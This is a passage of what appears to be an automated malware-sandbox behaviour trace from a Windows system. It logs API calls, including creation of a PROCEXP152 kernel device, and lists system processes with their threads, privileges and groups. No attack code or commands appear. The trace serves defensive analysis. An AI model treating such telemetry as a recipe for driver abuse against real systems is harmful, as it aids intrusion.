hTemplateFile=0x0) returned 0xffffffff [0063.452] GetLastError () returned 0x20 [0063.452] GetLastError () returned 0x20 [0063.452] SetLastError (dwErrCode=0x20) [0063.452] GetLastError () returned 0x20 [0063.452] SetLastError (dwErrCode=0x20) [0063.452] GetLastError () returned 0x20 [0063.452] SetLastError (dwErrCode=0x20) [0063.452] GetLastError () returned 0x20 [0063.452] SetLastError (dwErrCode=0x20) [0063.452] GetLastError () returned 0x20 [0063.452] SetLastError (dwErrCode=0x20) [0063.452] GetLastError () returned 0x20 [0063.452] SetLastError (dwErrCode=0x20) [0063.452] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x1000) returned 0x599848 [0063.453] WriteFile (in: hFile=0x80, lpBuffer=0x18ea08*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e334, lpOverlapped=0x0 | out: lpBuffer=0x18ea08*, lpNumberOfBytesWritten=0x18e334*=0x49, lpOverlapped=0x0) returned 1 [0063.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x597828 | out: hHeap=0x580000) returned 1 [0063.455] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0063.455] ExitProcess (uExitCode=0x1) [0063.455] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5960e0 | out: hHeap=0x580000) returned 1 Process: id = "28" image_name = "System" filename = "" page_root = "0x187000" os_pid = "0x4" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "created_daemon" parent_id = "23" os_parent_pid = "0xffffffffffffffff" cmd_line = "" cur_dir = "" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 115 os_tid = 0xbc Thread: id = 116 os_tid = 0xa0 Thread: id = 117 os_tid = 0x874 Thread: id = 118 os_tid = 0x988 Thread: id = 119 os_tid = 0x938 Thread: id = 120 os_tid = 0x928 Thread: id = 121 os_tid = 0xb6c Thread: id = 122 os_tid = 0x18 Thread: id = 123 os_tid = 0x174 Thread: id = 124 os_tid = 0x7c Thread: id = 125 os_tid = 0x44 Thread: id = 126 os_tid = 0x360 Thread: id = 127 os_tid = 0x430 Thread: id = 128 os_tid = 0x6bc Thread: id = 129 os_tid = 0x5bc Thread: id = 130 os_tid = 0x60 Thread: id = 131 os_tid = 0x6e0 Thread: id = 132 os_tid = 0x1c Thread: id = 133 os_tid = 0x7c4 Thread: id = 134 os_tid = 0x668 Thread: id = 135 os_tid = 0x0 Thread: id = 136 os_tid = 0x478 Thread: id = 137 os_tid = 0x6e0 Thread: id = 138 os_tid = 0x56c Thread: id = 139 os_tid = 0x140 Thread: id = 140 os_tid = 0x20 Thread: id = 141 os_tid = 0xd0 Thread: id = 142 os_tid = 0xd4 Thread: id = 143 os_tid = 0x50 Thread: id = 144 os_tid = 0x70c Thread: id = 145 os_tid = 0x704 Thread: id = 146 os_tid = 0xf8 Thread: id = 147 os_tid = 0x464 Thread: id = 148 os_tid = 0x468 Thread: id = 149 os_tid = 0x94 Thread: id = 150 os_tid = 0x61c Thread: id = 151 os_tid = 0x614 Thread: id = 152 os_tid = 0x610 Thread: id = 153 os_tid = 0x604 Thread: id = 154 os_tid = 0x14 Thread: id = 155 os_tid = 0x10 Thread: id = 156 os_tid = 0x24 Thread: id = 157 os_tid = 0x5f0 Thread: id = 158 os_tid = 0x5d4 Thread: id = 159 os_tid = 0x78 Thread: id = 160 os_tid = 0x56c Thread: id = 161 os_tid = 0x500 Thread: id = 162 os_tid = 0x478 Thread: id = 163 os_tid = 0x460 Thread: id = 164 os_tid = 0x138 Thread: id = 165 os_tid = 0xb8 Thread: id = 166 os_tid = 0x3d8 Thread: id = 167 os_tid = 0x9c Thread: id = 168 os_tid = 0x88 Thread: id = 169 os_tid = 0x80 Thread: id = 170 os_tid = 0x8c Thread: id = 171 os_tid = 0x308 Thread: id = 172 os_tid = 0x90 Thread: id = 173 os_tid = 0x28c Thread: id = 174 os_tid = 0x74 Thread: id = 175 os_tid = 0x98 Thread: id = 176 os_tid = 0x68 Thread: id = 177 os_tid = 0x4c Thread: id = 178 os_tid = 0x100 Thread: id = 179 os_tid = 0x198 Thread: id = 180 os_tid = 0x5c Thread: id = 181 os_tid = 0x3c [0058.549] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d740, SourceString="PsAcquireProcessExitSynchronization" | out: DestinationString="PsAcquireProcessExitSynchronization") [0058.549] MmGetSystemRoutineAddress (SystemRoutineName="PsAcquireProcessExitSynchronization") returned 0xfffff80002c0dd90 [0058.549] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d740, SourceString="PsReleaseProcessExitSynchronization" | out: DestinationString="PsReleaseProcessExitSynchronization") [0058.549] MmGetSystemRoutineAddress (SystemRoutineName="PsReleaseProcessExitSynchronization") returned 0xfffff80002c1c770 [0058.549] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d740, SourceString="ObGetObjectType" | out: DestinationString="ObGetObjectType") [0058.549] MmGetSystemRoutineAddress (SystemRoutineName="ObGetObjectType") returned 0xfffff80002b46b54 [0058.549] ObGetObjectType () returned 0xfffffa800184acd0 [0058.549] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x26, Tag=0x544f4550) returned 0xfffff8a003dfb1b0 [0058.549] ObOpenObjectByName (in: ObjectAttributes=0xfffff88002f9d6a0, ObjectType=0xfffffa800184acd0, AccessMode=0x0, PassedAccessState=0x0, DesiredAccess=0xfffff880000f0001, ParseContext=0x0, Handle=0xfffff88002f9d6f8 | out: ParseContext=0x0, Handle=0xfffff88002f9d6f8*=0xffffffff80000a78) returned 0x0 [0058.549] ExFreePoolWithTag (P=0xfffff8a003dfb1b0, Tag=0x0) [0058.549] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a78, DesiredAccess=0xf0001, ObjectType=0xfffffa800184acd0, AccessMode=0x0, Object=0xfffff88002f9d700, HandleInformation=0x0 | out: Object=0xfffff88002f9d700*=0xfffffa80018be570, HandleInformation=0x0) returned 0x0 [0058.549] ZwClose (Handle=0xffffffff80000a78) returned 0x0 [0058.549] ObfDereferenceObject (Object=0xfffffa80018be570) returned 0x2 [0058.549] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d758, SourceString="\\Device\\PROCEXP152" | out: DestinationString="\\Device\\PROCEXP152") [0058.549] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d778, SourceString="D:P(A;;GA;;;SY)(A;;GA;;;BA)" | out: DestinationString="D:P(A;;GA;;;SY)(A;;GA;;;BA)") [0058.549] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d670, SourceString="IoCreateDeviceSecure" | out: DestinationString="IoCreateDeviceSecure") [0058.549] MmGetSystemRoutineAddress (SystemRoutineName="IoCreateDeviceSecure") returned 0x0 [0058.550] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d670, SourceString="IoValidateDeviceIoControlAccess" | out: DestinationString="IoValidateDeviceIoControlAccess") [0058.550] MmGetSystemRoutineAddress (SystemRoutineName="IoValidateDeviceIoControlAccess") returned 0xfffff8000292a4c0 [0058.550] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x68, Tag=0x6c416553) returned 0xfffff8a002bce480 [0058.550] _wcsnicmp (_String1="A", _String2="A", _MaxCount=0x1) returned 0 [0058.550] _wcsnicmp (_String1="GA", _String2="RC", _MaxCount=0x2) returned -11 [0058.550] _wcsnicmp (_String1="GA", _String2="WD", _MaxCount=0x2) returned -16 [0058.550] _wcsnicmp (_String1="GA", _String2="WO", _MaxCount=0x2) returned -16 [0058.550] _wcsnicmp (_String1="GA", _String2="SD", _MaxCount=0x2) returned -12 [0058.550] _wcsnicmp (_String1="GA", _String2="GA", _MaxCount=0x2) returned 0 [0058.550] _wcsnicmp (_String1="SY", _String2="WD", _MaxCount=0x2) returned -4 [0058.550] _wcsnicmp (_String1="SY", _String2="BA", _MaxCount=0x2) returned 17 [0058.550] _wcsnicmp (_String1="SY", _String2="SY", _MaxCount=0x2) returned 0 [0058.550] RtlLengthSid (Sid=0xfffffa800184a8a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 0xc [0058.550] RtlAddAccessAllowedAce (in: Acl=0xfffff8a002bce480, AceRevision=0x2, AccessMask=0x10000000, Sid=0xfffffa800184a8a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12) | out: Acl=0xfffff8a002bce480) returned 0x0 [0058.550] _wcsnicmp (_String1="A", _String2="A", _MaxCount=0x1) returned 0 [0058.550] _wcsnicmp (_String1="GA", _String2="RC", _MaxCount=0x2) returned -11 [0058.550] _wcsnicmp (_String1="GA", _String2="WD", _MaxCount=0x2) returned -16 [0058.550] _wcsnicmp (_String1="GA", _String2="WO", _MaxCount=0x2) returned -16 [0058.550] _wcsnicmp (_String1="GA", _String2="SD", _MaxCount=0x2) returned -12 [0058.550] _wcsnicmp (_String1="GA", _String2="GA", _MaxCount=0x2) returned 0 [0058.550] _wcsnicmp (_String1="BA", _String2="WD", _MaxCount=0x2) returned -21 [0058.550] _wcsnicmp (_String1="BA", _String2="BA", _MaxCount=0x2) returned 0 [0058.550] RtlLengthSid (Sid=0xfffff8a000001840*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0x10 [0058.550] RtlAddAccessAllowedAce (in: Acl=0xfffff8a002bce480, AceRevision=0x2, AccessMask=0x10000000, Sid=0xfffff8a000001840*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)) | out: Acl=0xfffff8a002bce480) returned 0x0 [0058.550] RtlCreateSecurityDescriptor (in: SecurityDescriptor=0xfffff88002f9d588, Revision=0x1 | out: SecurityDescriptor=0xfffff88002f9d588) returned 0x0 [0058.550] RtlSetDaclSecurityDescriptor (in: SecurityDescriptor=0xfffff88002f9d588, DaclPresent=1, Dacl=0xfffff8a002bce480, DaclDefaulted=0 | out: SecurityDescriptor=0xfffff88002f9d588) returned 0x0 [0058.550] RtlAbsoluteToSelfRelativeSD (in: AbsoluteSecurityDescriptor=0xfffff88002f9d588, SelfRelativeSecurityDescriptor=0x0, BufferLength=0xfffff88002f9d5d0 | out: SelfRelativeSecurityDescriptor=0x0, BufferLength=0xfffff88002f9d5d0) returned 0xc0000023 [0058.550] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x48, Tag=0x64536553) returned 0xfffff8a001d9c610 [0058.550] RtlAbsoluteToSelfRelativeSD (in: AbsoluteSecurityDescriptor=0xfffff88002f9d588, SelfRelativeSecurityDescriptor=0xfffff8a001d9c610, BufferLength=0xfffff88002f9d5d0 | out: SelfRelativeSecurityDescriptor=0xfffff8a001d9c610, BufferLength=0xfffff88002f9d5d0) returned 0x0 [0058.550] ExFreePoolWithTag (P=0xfffff8a002bce480, Tag=0x0) [0058.550] IoCreateDevice (in: DriverObject=0xfffffa8003b25a50, DeviceExtensionSize=0x0, DeviceName="\\Device\\PROCEXP152", DeviceType=0x8335, DeviceCharacteristics=0x0, Exclusive=0, DeviceObject=0xfffff88002f9d6d0 | out: DeviceObject=0xfffff88002f9d6d0) returned 0x0 [0058.551] RtlGetOwnerSecurityDescriptor (in: SecurityDescriptor=0xfffff8a001d9c610, Owner=0xfffff88002f9d560, OwnerDefaulted=0xfffff88002f9d598 | out: Owner=0xfffff88002f9d560*=0x0, OwnerDefaulted=0xfffff88002f9d598) returned 0x0 [0058.551] RtlGetGroupSecurityDescriptor (in: SecurityDescriptor=0xfffff8a001d9c610, Group=0xfffff88002f9d560, GroupDefaulted=0xfffff88002f9d598 | out: Group=0xfffff88002f9d560*=0x0, GroupDefaulted=0xfffff88002f9d598) returned 0x0 [0058.551] RtlGetSaclSecurityDescriptor (in: SecurityDescriptor=0xfffff8a001d9c610, SaclPresent=0xfffff88002f9d5a8, Sacl=0xfffff88002f9d568, SaclDefaulted=0xfffff88002f9d598 | out: SaclPresent=0xfffff88002f9d5a8, Sacl=0xfffff88002f9d568, SaclDefaulted=0xfffff88002f9d598) returned 0x0 [0058.551] RtlGetDaclSecurityDescriptor (in: SecurityDescriptor=0xfffff8a001d9c610, DaclPresent=0xfffff88002f9d5a8, Dacl=0xfffff88002f9d568, DaclDefaulted=0xfffff88002f9d598 | out: DaclPresent=0xfffff88002f9d5a8, Dacl=0xfffff88002f9d568, DaclDefaulted=0xfffff88002f9d598) returned 0x0 [0058.551] ObOpenObjectByPointer (in: Object=0xfffffa80038b5900, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x40000, ObjectType=0xfffffa8001933900, AccessMode=0xfffffa8003b25a00, Handle=0xfffff88002f9d5d0 | out: Handle=0xfffff88002f9d5d0*=0xffffffff80000a78) returned 0x0 [0058.551] ZwSetSecurityObject (Handle=0xffffffff80000a78, SecurityInformation=0x4, SecurityDescriptor=0xfffff8a001d9c610) returned 0x0 [0058.551] ZwClose (Handle=0xffffffff80000a78) returned 0x0 [0058.551] ExFreePoolWithTag (P=0xfffff8a001d9c610, Tag=0x0) [0058.551] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d768, SourceString="\\DosDevices\\PROCEXP152" | out: DestinationString="\\DosDevices\\PROCEXP152") [0058.551] IoCreateSymbolicLink (SymbolicLinkName="\\DosDevices\\PROCEXP152", DeviceName="\\Device\\PROCEXP152") returned 0x0 [0118.034] ExAllocatePoolWithTag (PoolType=0x0, NumberOfBytes=0x1d054, Tag=0x655a6343) returned 0xfffffa8003a2a000 Thread: id = 182 os_tid = 0x158 Thread: id = 183 os_tid = 0x154 Thread: id = 184 os_tid = 0x128 Thread: id = 185 os_tid = 0x130 Thread: id = 186 os_tid = 0x124 Thread: id = 187 os_tid = 0xc4 Thread: id = 188 os_tid = 0xb0 Thread: id = 189 os_tid = 0x84 Thread: id = 190 os_tid = 0x120 Thread: id = 191 os_tid = 0x11c Thread: id = 192 os_tid = 0x2c Thread: id = 193 os_tid = 0x28 Thread: id = 194 os_tid = 0x40 Thread: id = 195 os_tid = 0x30 Thread: id = 196 os_tid = 0x48 Thread: id = 197 os_tid = 0x34 Thread: id = 198 os_tid = 0x64 Thread: id = 199 os_tid = 0x38 Thread: id = 200 os_tid = 0xc0 Thread: id = 201 os_tid = 0x8 Thread: id = 738 os_tid = 0xdac Thread: id = 761 os_tid = 0xdb0 Thread: id = 765 os_tid = 0xdb8 Thread: id = 820 os_tid = 0xdb4 Process: id = "29" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x2cb10000" os_pid = "0x104" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0x4" cmd_line = "\\SystemRoot\\System32\\smss.exe" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 202 os_tid = 0x180 Thread: id = 203 os_tid = 0x13c Thread: id = 204 os_tid = 0x10c Thread: id = 205 os_tid = 0x108 Process: id = "30" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0xefa9000" os_pid = "0x148" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "29" os_parent_pid = "0xffffffffffffffff" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 206 os_tid = 0x5e0 Thread: id = 207 os_tid = 0x1f4 Thread: id = 208 os_tid = 0x1b8 Thread: id = 209 os_tid = 0x1b4 Thread: id = 210 os_tid = 0x18c Thread: id = 211 os_tid = 0x16c Thread: id = 212 os_tid = 0x168 Thread: id = 213 os_tid = 0x164 Thread: id = 214 os_tid = 0x160 Thread: id = 215 os_tid = 0x14c Process: id = "31" image_name = "wininit.exe" filename = "c:\\windows\\system32\\wininit.exe" page_root = "0x2bfaf000" os_pid = "0x178" os_integrity_level = "0x4000" os_privileges = "0x860b14080" monitor_reason = "child_process" parent_id = "29" os_parent_pid = "0xffffffffffffffff" cmd_line = "wininit.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 216 os_tid = 0x1d0 Thread: id = 217 os_tid = 0x1cc Thread: id = 218 os_tid = 0x194 Thread: id = 219 os_tid = 0x17c Process: id = "32" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0xf166000" os_pid = "0x184" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "29" os_parent_pid = "0xffffffffffffffff" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=winsrv:ConServerDllInitialization,2 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 220 os_tid = 0x868 Thread: id = 221 os_tid = 0x1d4 Thread: id = 222 os_tid = 0x1c8 Thread: id = 223 os_tid = 0x1bc Thread: id = 224 os_tid = 0x1a8 Thread: id = 225 os_tid = 0x1a4 Thread: id = 226 os_tid = 0x1a0 Thread: id = 227 os_tid = 0x19c Thread: id = 228 os_tid = 0x188 Process: id = "33" image_name = "winlogon.exe" filename = "c:\\windows\\system32\\winlogon.exe" page_root = "0x2bc84000" os_pid = "0x1ac" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "child_process" parent_id = "29" os_parent_pid = "0xffffffffffffffff" cmd_line = "winlogon.exe" cur_dir = "C:\\Windows\\system32" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 229 os_tid = 0x9cc Thread: id = 230 os_tid = 0x94c Thread: id = 231 os_tid = 0x1e4 Thread: id = 232 os_tid = 0x334 Thread: id = 233 os_tid = 0x2e0 Thread: id = 234 os_tid = 0x1b0 Process: id = "34" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0xe84c000" os_pid = "0x1d8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0x178" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 235 os_tid = 0xa9c Thread: id = 236 os_tid = 0xa7c Thread: id = 237 os_tid = 0xa6c Thread: id = 238 os_tid = 0xa5c Thread: id = 239 os_tid = 0xa2c Thread: id = 240 os_tid = 0x240 Thread: id = 241 os_tid = 0x510 Thread: id = 242 os_tid = 0x4b8 Thread: id = 243 os_tid = 0x4b0 Thread: id = 244 os_tid = 0x47c Thread: id = 245 os_tid = 0x130 Thread: id = 246 os_tid = 0x288 Thread: id = 247 os_tid = 0x23c Thread: id = 248 os_tid = 0x234 Thread: id = 249 os_tid = 0x228 Thread: id = 250 os_tid = 0x21c Thread: id = 830 os_tid = 0xffc Process: id = "35" image_name = "lsass.exe" filename = "c:\\windows\\system32\\lsass.exe" page_root = "0xef52000" os_pid = "0x1e0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e894" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0x178" cmd_line = "C:\\Windows\\system32\\lsass.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 251 os_tid = 0xabc Thread: id = 252 os_tid = 0xa8c Thread: id = 253 os_tid = 0x608 Thread: id = 254 os_tid = 0x210 Thread: id = 255 os_tid = 0x208 Thread: id = 256 os_tid = 0x204 Thread: id = 257 os_tid = 0x200 Thread: id = 258 os_tid = 0x1fc Thread: id = 259 os_tid = 0x1f8 Thread: id = 868 os_tid = 0xc94 Process: id = "36" image_name = "lsm.exe" filename = "c:\\windows\\system32\\lsm.exe" page_root = "0xf35b000" os_pid = "0x1e8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "31" os_parent_pid = "0x178" cmd_line = "C:\\Windows\\system32\\lsm.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 260 os_tid = 0xafc Thread: id = 261 os_tid = 0x62c Thread: id = 262 os_tid = 0x300 Thread: id = 263 os_tid = 0x2f4 Thread: id = 264 os_tid = 0x2f0 Thread: id = 265 os_tid = 0x2ec Thread: id = 266 os_tid = 0x2d8 Thread: id = 267 os_tid = 0x2d0 Thread: id = 268 os_tid = 0x258 Thread: id = 269 os_tid = 0x1ec Process: id = "37" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd3aa000" os_pid = "0x250" os_integrity_level = "0x4000" os_privileges = "0x60b00080" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k DcomLaunch" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:00006bcd" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 270 os_tid = 0x3c4 Thread: id = 271 os_tid = 0x640 Thread: id = 272 os_tid = 0x2a0 Thread: id = 273 os_tid = 0x29c Thread: id = 274 os_tid = 0x284 Thread: id = 275 os_tid = 0x280 Thread: id = 276 os_tid = 0x27c Thread: id = 277 os_tid = 0x278 Thread: id = 278 os_tid = 0x274 Thread: id = 279 os_tid = 0x268 Thread: id = 280 os_tid = 0x260 Thread: id = 281 os_tid = 0x254 Thread: id = 762 os_tid = 0xe44 Process: id = "38" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd4e6000" os_pid = "0x294" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b13c" [0xc000000f], "LOCAL" [0x7] Thread: id = 282 os_tid = 0x4e8 Thread: id = 283 os_tid = 0x458 Thread: id = 284 os_tid = 0x690 Thread: id = 285 os_tid = 0x2c0 Thread: id = 286 os_tid = 0x2bc Thread: id = 287 os_tid = 0x2b4 Thread: id = 288 os_tid = 0x298 Thread: id = 811 os_tid = 0xf74 Process: id = "39" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xd1f5000" os_pid = "0x2c8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b448" [0xc000000f], "LOCAL" [0x7] Thread: id = 289 os_tid = 0xad8 Thread: id = 290 os_tid = 0xa78 Thread: id = 291 os_tid = 0xa28 Thread: id = 292 os_tid = 0x9d8 Thread: id = 293 os_tid = 0x978 Thread: id = 294 os_tid = 0x918 Thread: id = 295 os_tid = 0x8c8 Thread: id = 296 os_tid = 0x9bc Thread: id = 297 os_tid = 0x6f4 Thread: id = 298 os_tid = 0x68c Thread: id = 299 os_tid = 0x578 Thread: id = 300 os_tid = 0xb0 Thread: id = 301 os_tid = 0x5b4 Thread: id = 302 os_tid = 0x20c Thread: id = 303 os_tid = 0x358 Thread: id = 304 os_tid = 0x7e4 Thread: id = 305 os_tid = 0x540 Thread: id = 306 os_tid = 0x538 Thread: id = 307 os_tid = 0x52c Thread: id = 308 os_tid = 0x264 Thread: id = 309 os_tid = 0x1cc Thread: id = 310 os_tid = 0x3c0 Thread: id = 311 os_tid = 0x3b8 Thread: id = 312 os_tid = 0x3a8 Thread: id = 313 os_tid = 0x2fc Thread: id = 314 os_tid = 0x2f8 Thread: id = 315 os_tid = 0x2e4 Thread: id = 316 os_tid = 0x2d4 Thread: id = 317 os_tid = 0x2cc Thread: id = 740 os_tid = 0xdc4 Thread: id = 742 os_tid = 0xdd0 Thread: id = 744 os_tid = 0xddc Thread: id = 747 os_tid = 0xdf0 Process: id = "40" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa5fd000" os_pid = "0x338" os_integrity_level = "0x4000" os_privileges = "0x60b16080" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x1d8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b93c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 318 os_tid = 0x7cc Thread: id = 319 os_tid = 0x718 Thread: id = 320 os_tid = 0x308 Thread: id = 321 os_tid = 0x6d8 Thread: id = 322 os_tid = 0x6b0 Thread: id = 323 os_tid = 0x590 Thread: id = 324 os_tid = 0x574 Thread: id = 325 os_tid = 0x144 Thread: id = 326 os_tid = 0x110 Thread: id = 327 os_tid = 0x3f0 Thread: id = 328 os_tid = 0x3ec Thread: id = 329 os_tid = 0x3e4 Thread: id = 330 os_tid = 0x3e0 Thread: id = 331 os_tid = 0x3d0 Thread: id = 332 os_tid = 0x3cc Thread: id = 333 os_tid = 0x398 Thread: id = 334 os_tid = 0x394 Thread: id = 335 os_tid = 0x384 Thread: id = 336 os_tid = 0x380 